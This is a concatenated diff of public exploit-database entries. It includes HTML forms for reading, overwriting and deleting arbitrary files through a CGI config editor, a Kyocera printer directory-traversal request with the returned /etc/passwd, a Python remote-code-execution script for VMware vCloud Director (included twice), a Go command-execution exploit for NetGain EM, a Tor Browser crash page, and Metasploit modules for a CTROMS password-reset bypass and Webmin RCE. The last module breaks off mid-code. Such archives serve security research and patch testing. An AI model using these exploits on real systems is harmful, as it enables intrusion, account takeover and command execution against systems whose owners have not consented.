configuration files in the system using the CGI executable 'edit_config_files' | |||
in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete) | |||
are located in the /etc/config/ directory. An attacker can manipulate | |||
the POST request parameters to escape from the restricted environment | |||
by using absolute path and start reading, writing and deleting arbitrary | |||
files on the system. | |||
Tested on: fnord/1.9 | |||
Apache 1.3.27 (Unix) | |||
Linux 2.4.31 | |||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic | |||
@zeroscience | |||
Advisory ID: ZSL-2020-5568 | |||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php | |||
14.05.2020 | |||
-- | |||
Read: | |||
----- | |||
<html> | |||
<body> | |||
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> | |||
<input type="hidden" name=".form" value="choices" /> | |||
<input type="hidden" name=".page" value="select_file" /> | |||
<input type="hidden" name="name$1337" value="/var/log/messages" /> | |||
<input type="hidden" name="modify$1337" value="1" /> | |||
<input type="hidden" name=".defaultname" value="newitem" /> | |||
<input type="submit" value="Read" /> | |||
</form> | |||
</body> | |||
</html> | |||
Write/overwrite/move: | |||
--------------------- | |||
<html> | |||
<body> | |||
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> | |||
<input type="hidden" name=".form" value="edit" /> | |||
<input type="hidden" name=".page" value="edit_file" /> | |||
<input type="hidden" name="enabled$0" value="" /> | |||
<input type="hidden" name="name$0" value="/etc/motd" /> | |||
<input type="hidden" name="mode$0" value="" /> | |||
<input type="hidden" name="filename" value="/etc/motd" /> | |||
<input type="hidden" name="filecontents" value="pwned" /> | |||
<input type="hidden" name="finish" value="Finish" /> | |||
<input type="hidden" name=".defaultname" value="finish" /> | |||
<input type="submit" value="Write" /> | |||
</form> | |||
</body> | |||
</html> | |||
Delete: | |||
------- | |||
<html> | |||
<body> | |||
<form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> | |||
<input type="hidden" name=".form" value="choices" /> | |||
<input type="hidden" name=".page" value="select_file" /> | |||
<input type="hidden" name="name$251" value="/root/.secret" /> | |||
<input type="hidden" name="delete$251" value="1" /> | |||
<input type="hidden" name=".defaultname" value="newitem" /> | |||
<input type="submit" value="Delete" /> | |||
</form> | |||
</body> | |||
</html> |
@ -0,0 +1,68 @@ | |||
# Exploit Title : Kyocera Printer d-COPIA253MF - Directory Traversal (PoC) | |||
# Exploit Author: Hakan Eren ลAN | |||
# Date: 2020-06-06 | |||
# Vendor Homepage: https://www.kyoceradocumentsolutions.com.tr/tr.html | |||
# Version: d-COPIA253MF plus | |||
# Tested on : Linux | |||
# Credit: Berat Isler | |||
# First step , you can capture the main page | |||
# Then create a directory traveral payload like ../../../ this | |||
# Then you add nullbyte to the end of the payload(%00) | |||
# Last step sent your request | |||
This is the code : | |||
Request: | |||
GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1 | |||
Host: X.X.X.X | |||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) | |||
Gecko/20100101 Firefox/76.0 | |||
Accept: | |||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |||
Accept-Language: en-US,en;q=0.5 | |||
Accept-Encoding: gzip, deflate | |||
Connection: close | |||
Cookie: rtl=0 | |||
Upgrade-Insecure-Requests: 1 | |||
If-None-Match: "/wlmeng/index.htm, Thu, 04 Jun 2020 13:41:16 GMT" | |||
Cache-Control: max-age=0 | |||
Response: | |||
HTTP/1.1 200 OK | |||
Content-Length: 843 | |||
Date: Thu, 04 Jun 2020 16:09:54 GMT | |||
Server: KM-MFP-http/V0.0.1 | |||
Last-Modified: Thu, 04 Jun 2020 13:41:16 GMT | |||
ETag: "/wlmeng/../../../../../../../../../../../etc/passwd, Thu, 04 Jun | |||
2020 13:41:16 GMT" | |||
Content-Type: text/html | |||
root::0:0:root:/root:/bin/sh | |||
bin:*:1:1:bin:/bin:/bin/sh | |||
daemon:*:2:2:daemon:/usr/sbin:/bin/sh | |||
sys:*:3:3:sys:/dev:/bin/sh | |||
adm:*:4:4:adm:/var/adm:/bin/sh | |||
lp:*:5:7:lp:/var/spool/lpd:/bin/sh | |||
sync:*:6:8:sync:/bin:/bin/sync | |||
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown | |||
halt:*:8:10:halt:/sbin:/sbin/halt | |||
mail:*:9:11:mail:/var/mail:/bin/sh | |||
news:*:10:12:news:/var/spool/news:/bin/sh | |||
uucp:*:11:13:uucp:/var/spool/uucp:/bin/sh | |||
operator:*:12:0:operator:/root:/bin/sh | |||
games:*:13:60:games:/usr/games:/bin/sh | |||
ftp:*:15:14:ftp:/var/ftp:/bin/sh | |||
man:*:16:20:man:/var/cache/man:/bin/sh | |||
www:*:17:18:www-data:/var/www:/bin/sh | |||
sshd:*:18:19:sshd:/var/run/sshd:/bin/sh | |||
proxy:*:19:21:proxy:/bin:/bin/sh | |||
telnetd:*:20:22:proxy:/bin:/bin/sh | |||
backup:*:34:34:backup:/var/backups:/bin/sh | |||
ais:*:101:101:ais:/var/run/ais:/bin/sh | |||
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh |
@ -0,0 +1,18 @@ | |||
Exploit Title: SockPuppet 3 | |||
Date: September 8, 2019 | |||
Exploit Author: Umang Raghuvanshi | |||
Vendor Homepage: https://apple.com | |||
Software Link: https://ipsw.me/ | |||
Version: iOS 11.0โ12.2, iOS 12.4 | |||
Tested on: iOS 11.0โ12.2, iOS 12.4 | |||
CVE: CVE-2019-8605 | |||
This is an alternative (and complete) exploit for CVE-2019-8605. I have only implemented the exploit and do not claim any rights for discovering and/or publishing the vulnerability. The actual exploit code is in โSockPuppet3.cppโ, other files are either helpers or documentation. This exploit [1] has already been verified in production several times [2] [3], however, I can assist in additional verification if required. | |||
POC: | |||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/47409.zip | |||
[1] https://gist.github.com/ur0/a9b2d8088479a70665f729c4e9bf8720 | |||
[2] https://twitter.com/Pwn20wnd/status/1163392040073191426 | |||
[3] https://twitter.com/electra_team/status/1163658714840047618 |
@ -0,0 +1,138 @@ | |||
# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution | |||
# Exploit Author: Tomas Melicher | |||
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/ | |||
# Date: 2020-05-24 | |||
# Vendor Homepage: https://www.vmware.com/ | |||
# Software Link: https://www.vmware.com/products/cloud-director.html | |||
# Tested On: vCloud Director 9.7.0.15498291 | |||
# Vulnerability Description: | |||
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. | |||
#!/usr/bin/python | |||
import argparse # pip install argparse | |||
import base64, os, re, requests, sys | |||
if sys.version_info >= (3, 0): | |||
from urllib.parse import urlparse | |||
else: | |||
from urlparse import urlparse | |||
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |||
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" | |||
session = requests.Session() | |||
def login(url, username, password, verbose): | |||
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) | |||
res = session.get(target_url) | |||
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE) | |||
if match: | |||
tenant = match.group(1) | |||
else: | |||
print('[!] can\'t find tenant identifier') | |||
return | |||
if verbose: | |||
print('[*] tenant: %s'%(tenant)) | |||
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE) | |||
if match: # Cloud Director 9.* | |||
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0)) | |||
res = session.post(login_url, data={'username':username,'password':password}) | |||
if res.status_code == 401: | |||
print('[!] invalid credentials') | |||
return | |||
else: # Cloud Director 10.* | |||
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE) | |||
if match: | |||
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0)) | |||
headers = { | |||
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), | |||
'Accept': 'application/json;version=29.0', | |||
'Content-type': 'application/json;version=29.0' | |||
} | |||
res = session.post(login_url, headers=headers) | |||
if res.status_code == 401: | |||
print('[!] invalid credentials') | |||
return | |||
else: | |||
print('[!] url for login form was not found') | |||
return | |||
cookies = session.cookies.get_dict() | |||
jwt = cookies['vcloud_jwt'] | |||
session_id = cookies['vcloud_session_id'] | |||
if verbose: | |||
print('[*] jwt token: %s'%(jwt)) | |||
print('[*] session_id: %s'%(session_id)) | |||
res = session.get(target_url) | |||
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE) | |||
if match is None: | |||
print('[!] organization not found') | |||
return | |||
organization = match.group(1) | |||
if verbose: | |||
print('[*] organization name: %s'%(organization)) | |||
match = re.search(r'orgId : \'([^\']+)', res.content) | |||
if match is None: | |||
print('[!] orgId not found') | |||
return | |||
org_id = match.group(1) | |||
if verbose: | |||
print('[*] organization identifier: %s'%(org_id)) | |||
return (jwt,session_id,organization,org_id) | |||
def exploit(url, username, password, command, verbose): | |||
(jwt,session_id,organization,org_id) = login(url, username, password, verbose) | |||
headers = { | |||
'Accept': 'application/*+xml;version=29.0', | |||
'Authorization': 'Bearer %s'%jwt, | |||
'x-vcloud-authorization': session_id | |||
} | |||
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) | |||
res = session.get(admin_url, headers=headers) | |||
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE) | |||
if match: | |||
version = match.group(1) | |||
if verbose: | |||
print('[*] detected version of Cloud Director: %s'%(version)) | |||
else: | |||
version = None | |||
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0') | |||
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id) | |||
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command)) | |||
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>' | |||
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>' | |||
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>' | |||
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload) | |||
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>' | |||
res = session.put(email_settings_url, data=data, headers=headers) | |||
match = re.search(r'value:\s*\[([^\]]+)\]', res.content) | |||
if verbose: | |||
print('') | |||
try: | |||
print(base64.b64decode(match.group(1))) | |||
except Exception: | |||
print(res.content) | |||
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]') | |||
parser.add_argument('-v', action='store_true') | |||
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True) | |||
parser.add_argument('-u', metavar='username', required=True) | |||
parser.add_argument('-p', metavar='password', required=True) | |||
parser.add_argument('-c', metavar='command', help='command to execute', default='id') | |||
args = parser.parse_args() | |||
url = urlparse(args.t) | |||
exploit(url, args.u, args.p, args.c, args.v) |
@ -0,0 +1,71 @@ | |||
/******************************************************************************** | |||
# Exploit Title: NetGain EM Plus <= v10.1.68 - Unauthorized Local File Inclusion | |||
# Date: 15 September 2019 | |||
# Exploit Author: azams / @TheRealAzams | |||
# Vendor Homepage: http://netgain-systems.com | |||
# Software Link: http://www.netgain-systems.com/free/ | |||
# Version: v10.1.68 | |||
# Tested on: Linux | |||
# | |||
# Install golang: https://golang.org/doc/install | |||
# Compile exploit: go build exploit.go | |||
# Run exploit without compiling: go run exploit.go | |||
# Shouts: Rix, Channisa, Ridho7ul & Horangi! | |||
*********************************************************************************/ | |||
package main | |||
import ( | |||
"crypto/tls" | |||
"fmt" | |||
"io/ioutil" | |||
"net/http" | |||
"net/url" | |||
"os" | |||
"strings" | |||
) | |||
var ( | |||
target string | |||
port string | |||
cmd string | |||
) | |||
func main() { | |||
for i := range os.Args { | |||
if os.Args[i] == "-u" { | |||
target = os.Args[i+1] | |||
} else if os.Args[i] == "-p" { | |||
port = os.Args[i+1] | |||
} else if os.Args[i] == "-cmd" { | |||
cmd = os.Args[i+1] | |||
} | |||
} | |||
if target != "" || port != "" || cmd != "" { | |||
cmd = "type=sh&content=%232Fbin%2Fsh%0Aecho+'0xdeadnoob'%0a" + cmd + "%0aecho+'0xdeadnoob'&args=&count=0&ip=localhost" | |||
status, body := exploit() | |||
if strings.Contains(status, "200") { | |||
fmt.Println("Status Code: " + status) | |||
result := strings.Split(body, "0xdeadnoob") | |||
fmt.Println("Result: \n" + strings.Trim(result[1], "\n")) | |||
return | |||
} | |||
fmt.Println("Exploit failed!") | |||
} else { | |||
fmt.Println("Usage: ./exploit -u http://127.0.0.1 -p 8181 -cmd 'id;'") | |||
} | |||
} | |||
func exploit() (string, string) { | |||
tbTransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} | |||
client := &http.Client{Transport: tbTransport} | |||
datas, err := url.ParseQuery(cmd) | |||
req, err := http.NewRequest("POST", target+":"+port+"/u/jsp/designer/script_test.jsp", strings.NewReader(datas.Encode())) | |||
req.Header.Set("Content-type", "application/x-www-form-urlencoded") | |||
resp, err := client.Do(req) | |||
if err != nil { | |||
panic(err) | |||
} | |||
defer resp.Body.Close() | |||
body, _ := ioutil.ReadAll(resp.Body) | |||
return resp.Status, string(body) | |||
} |
@ -0,0 +1,30 @@ | |||
# Exploit Title: Tor Browser - Use After Free (PoC) | |||
# Date: 09.07.2018 | |||
# Exploit Author: t4rkd3vilz | |||
# Vendor Homepage: https://www.torproject.org/ | |||
# Software Link: https://www.torproject.org/download/download-easy.html.en | |||
# Version: Tor 0.3.2.x before 0.3.2.10 | |||
# Tested on: Kali Linux | |||
# CVE : CVE-2018-0491 | |||
#Run exploit, result DOS | |||
<!DOCTYPE html> | |||
<html> | |||
<title>veryhandsome jameel naboo</title> | |||
<body> | |||
<script> | |||
function send() | |||
{ | |||
try { document.body.contentEditable = 'true'; } catch(e){} | |||
try { var e0 = document.createElement("frameset"); } catch(e){} | |||
try { document.body.appendChild(e0); } catch(e){} | |||
try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){} | |||
try { | |||
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo | |||
rder']='-4400000000';}, false); e0.focus();} catch(e){} | |||
try { e0.setAttribute('iframe'); } catch(e){} | |||
try { document.body.insertBefore(e0); } catch(e){} | |||
} | |||
send();</script></html> |
@ -0,0 +1,131 @@ | |||
## | |||
# This module requires Metasploit: https://metasploit.com/download | |||
# Current source: https://github.com/rapid7/metasploit-framework | |||
## | |||
class MetasploitModule < Msf::Auxiliary | |||
include Msf::Exploit::Remote::HttpClient | |||
def initialize(info = {}) | |||
super(update_info(info, | |||
'Name' => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' , | |||
'Description' => %q{ | |||
This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure. | |||
In order to exploit this vulnerability, the username must be known. | |||
Exploiting this vulnerability create a new password for the user you specified and present it to you. | |||
The "verification code" and "cookie generate" functions required to reset the password contain vulnerability. | |||
When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset. | |||
But this verification code written in the database is also reflected in the response of the request. | |||
The first vector would be to use this verification code. | |||
The second vector is the "rand" cookie values returned in this request. These values are md5. | |||
If these values are assigned in the response, password reset can be done via these cookie values. | |||
Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ] | |||
}, | |||
'References' => | |||
[ | |||
[ 'CVE', '' ], | |||
[ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ], | |||
[ 'URL', 'https://www.globalservices.bt.com' ] | |||
], | |||
'Author' => | |||
[ | |||
'รzkan Mustafa AKKUล <AkkuS>' # Discovery & PoC & MSF Module @ehakkus | |||
], | |||
'License' => MSF_LICENSE, | |||
'DisclosureDate' => "March 2 2020", | |||
'DefaultOptions' => { 'SSL' => true } | |||
)) | |||
register_options( | |||
[ | |||
Opt::RPORT(443), | |||
OptString.new('USERNAME', [true, 'Username']), | |||
OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)]) | |||
]) | |||
end | |||
def peer | |||
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" | |||
end | |||
def check | |||
begin | |||
res = send_request_cgi({ | |||
'method' => 'POST', | |||
'ctype' => 'application/x-www-form-urlencoded', | |||
'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), | |||
'headers' => | |||
{ | |||
'Referer' => "#{peer}/verification.jsp" | |||
}, | |||
'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}" | |||
}) | |||
rescue | |||
return Exploit::CheckCode::Unknown | |||
end | |||
if res.code == 200 and res.body.include? '"rand"' | |||
return Exploit::CheckCode::Appears | |||
end | |||
return Exploit::CheckCode::Safe | |||
end | |||
def run | |||
unless Exploit::CheckCode::Appears == check | |||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') | |||
end | |||
res = send_request_cgi({ | |||
'method' => 'POST', | |||
'ctype' => 'application/x-www-form-urlencoded', | |||
'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'), | |||
'headers' => | |||
{ | |||
'Referer' => "#{peer}/verification.jsp" | |||
}, | |||
'data' => "userId=#{datastore["USERNAME"]}" | |||
}) | |||
if res.code == 200 and res.body.include? '"mobileMask"' | |||
print_good("Excellent! password resettable for #{datastore["USERNAME"]}") | |||
else | |||
fail_with(Failure::NotVulnerable, 'The user you specified is not valid') | |||
end | |||
begin | |||
res = send_request_cgi({ | |||
'method' => 'POST', | |||
'ctype' => 'application/x-www-form-urlencoded', | |||
'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), | |||
'headers' => | |||
{ | |||
'Referer' => "#{peer}/verification.jsp" | |||
}, | |||
'data' => "userId=#{datastore["USERNAME"]}" | |||
}) | |||
@cookie = res.get_cookies | |||
res = send_request_cgi({ | |||
'method' => 'POST', | |||
'ctype' => 'application/x-www-form-urlencoded', | |||
'uri' => normalize_uri(target_uri.path, 'getresult.jsp'), | |||
'cookie' => @cookie, | |||
'headers' => | |||
{ | |||
'Referer' => "#{peer}/verification.jsp" | |||
}, | |||
'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}" | |||
}) | |||
if res.body.include? 'result":10' | |||
print_good("boom! Password successfully reseted.") | |||
print_good("Username : #{datastore["USERNAME"]}") | |||
print_good("Password : #{datastore["PASSWORD"]}") | |||
else | |||
fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}") | |||
end | |||
end | |||
end | |||
end |
@ -0,0 +1,139 @@ | |||
#!/usr/bin/python | |||
# Exploit Title: vCloud Director - Remote Code Execution | |||
# Exploit Author: Tomas Melicher | |||
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/ | |||
# Date: 2020-05-24 | |||
# Vendor Homepage: https://www.vmware.com/ | |||
# Software Link: https://www.vmware.com/products/cloud-director.html | |||
# Tested On: vCloud Director 9.7.0.15498291 | |||
# Vulnerability Description: | |||
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. | |||
import argparse # pip install argparse | |||
import base64, os, re, requests, sys | |||
if sys.version_info >= (3, 0): | |||
from urllib.parse import urlparse | |||
else: | |||
from urlparse import urlparse | |||
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |||
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" | |||
session = requests.Session() | |||
def login(url, username, password, verbose): | |||
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) | |||
res = session.get(target_url) | |||
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE) | |||
if match: | |||
tenant = match.group(1) | |||
else: | |||
print('[!] can\'t find tenant identifier') | |||
return (None,None,None,None) | |||
if verbose: | |||
print('[*] tenant: %s'%(tenant)) | |||
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE) | |||
if match: # Cloud Director 9.* | |||
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0)) | |||
res = session.post(login_url, data={'username':username,'password':password}) | |||
if res.status_code == 401: | |||
print('[!] invalid credentials') | |||
return (None,None,None,None) | |||
else: # Cloud Director 10.* | |||
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE) | |||
if match: | |||
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0)) | |||
headers = { | |||
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), | |||
'Accept': 'application/json;version=29.0', | |||
'Content-type': 'application/json;version=29.0' | |||
} | |||
res = session.post(login_url, headers=headers) | |||
if res.status_code == 401: | |||
print('[!] invalid credentials') | |||
return (None,None,None,None) | |||
else: | |||
print('[!] url for login form was not found') | |||
return (None,None,None,None) | |||
cookies = session.cookies.get_dict() | |||
jwt = cookies['vcloud_jwt'] | |||
session_id = cookies['vcloud_session_id'] | |||
if verbose: | |||
print('[*] jwt token: %s'%(jwt)) | |||
print('[*] session_id: %s'%(session_id)) | |||
res = session.get(target_url) | |||
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE) | |||
if match is None: | |||
print('[!] organization not found') | |||
return (None,None,None,None) | |||
organization = match.group(1) | |||
if verbose: | |||
print('[*] organization name: %s'%(organization)) | |||
match = re.search(r'orgId : \'([^\']+)', res.content) | |||
if match is None: | |||
print('[!] orgId not found') | |||
return (None,None,None,None) | |||
org_id = match.group(1) | |||
if verbose: | |||
print('[*] organization identifier: %s'%(org_id)) | |||
return (jwt,session_id,organization,org_id) | |||
def exploit(url, username, password, command, verbose): | |||
(jwt,session_id,organization,org_id) = login(url, username, password, verbose) | |||
if jwt is None: | |||
return | |||
headers = { | |||
'Accept': 'application/*+xml;version=29.0', | |||
'Authorization': 'Bearer %s'%jwt, | |||
'x-vcloud-authorization': session_id | |||
} | |||
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) | |||
res = session.get(admin_url, headers=headers) | |||
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE) | |||
if match: | |||
version = match.group(1) | |||
if verbose: | |||
print('[*] detected version of Cloud Director: %s'%(version)) | |||
else: | |||
version = None | |||
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0') | |||
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id) | |||
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command)) | |||
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>' | |||
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>' | |||
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>' | |||
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload) | |||
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>' | |||
res = session.put(email_settings_url, data=data, headers=headers) | |||
match = re.search(r'value:\s*\[([^\]]+)\]', res.content) | |||
if verbose: | |||
print('') | |||
try: | |||
print(base64.b64decode(match.group(1))) | |||
except Exception: | |||
print(res.content) | |||
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]') | |||
parser.add_argument('-v', action='store_true') | |||
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True) | |||
parser.add_argument('-u', metavar='username', required=True) | |||
parser.add_argument('-p', metavar='password', required=True) | |||
parser.add_argument('-c', metavar='command', help='command to execute', default='id') | |||
args = parser.parse_args() | |||
url = urlparse(args.t) | |||
exploit(url, args.u, args.p, args.c, args.v) |
@ -0,0 +1,170 @@ | |||
## | |||
# This module requires Metasploit: http://metasploit.com/download | |||
# Current source: https://github.com/rapid7/metasploit-framework | |||
## | |||
class MetasploitModule < Msf::Exploit::Remote | |||
Rank = ExcellentRanking | |||
include Msf::Exploit::Remote::HttpClient | |||
def initialize(info={}) | |||
super(update_info(info, | |||
'Name' => "Webmin < 1.930 Remote Code Execution", | |||
'Description' => %q{ | |||
This exploit takes advantage of a code execution issue within the function | |||
unserialise_variable() located in web-lib-funcs.pl, in order to gain root. | |||
The only prerequisite is a valid session id. | |||
}, | |||
'License' => MSF_LICENSE, | |||
'Author' => | |||
[ | |||
'James Bercegay', # Vulnerability Discovery | |||
], | |||
'References' => | |||
[ | |||
[ 'URL', 'https://www.gulftech.org/' ] | |||
], | |||
'Privileged' => false, | |||
'Payload' => | |||
{ | |||
'DisableNops' => true | |||
}, | |||
'Platform' => ['unix'], | |||
'Arch' => ARCH_CMD, | |||
'Targets' => [ ['Automatic', {}] ], | |||
'DisclosureDate' => '2019/08/30', | |||
'DefaultTarget' => 0)) | |||
register_options( | |||
[ | |||
OptString.new('WMPORT', [ true, "Webmin port", '10000']), | |||
OptString.new('WMUSER', [ true, "Webmin username", 'test']), | |||
OptString.new('WMPASS', [ true, "Webmin password", 'test']), | |||
]) | |||
end | |||
def check | |||
# Set Webmin port | |||
datastore['RPORT'] = datastore['WMPORT'] | |||
# Verbose | |||
print_status("Attempting to login") | |||
# Send login request | |||
res = send_request_cgi( | |||
{ | |||
'uri' => '/session_login.cgi', | |||
'method' => 'POST', | |||
'vars_post' => | |||
{ | |||
'user' => datastore['WMUSER'], | |||
'pass' => datastore['WMPASS'], | |||
'save' => '1' | |||
}, | |||
'cookie' => "redirect=1; testing=1; sessiontest=1;" | |||
}) | |||
# If succesful cookie will be set | |||
if ( res and res.headers['Set-Cookie'] ) | |||
# Do we have a valid SID? | |||
if ( /sid=/.match(res.headers['Set-Cookie']) ) | |||
# Extract the SID | |||
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1] | |||
print_good("Login was successful") | |||
else | |||
# No dice | |||
print_bad("Unable to login") | |||
return Exploit::CheckCode::Safe | |||
end | |||
else | |||
# No dice | |||
print_bad("Unexpected response") | |||
return Exploit::CheckCode::Safe | |||
end | |||
# Verbose | |||
print_status("Checking if host is vulnerable") | |||
# Try to execute arbitrary code | |||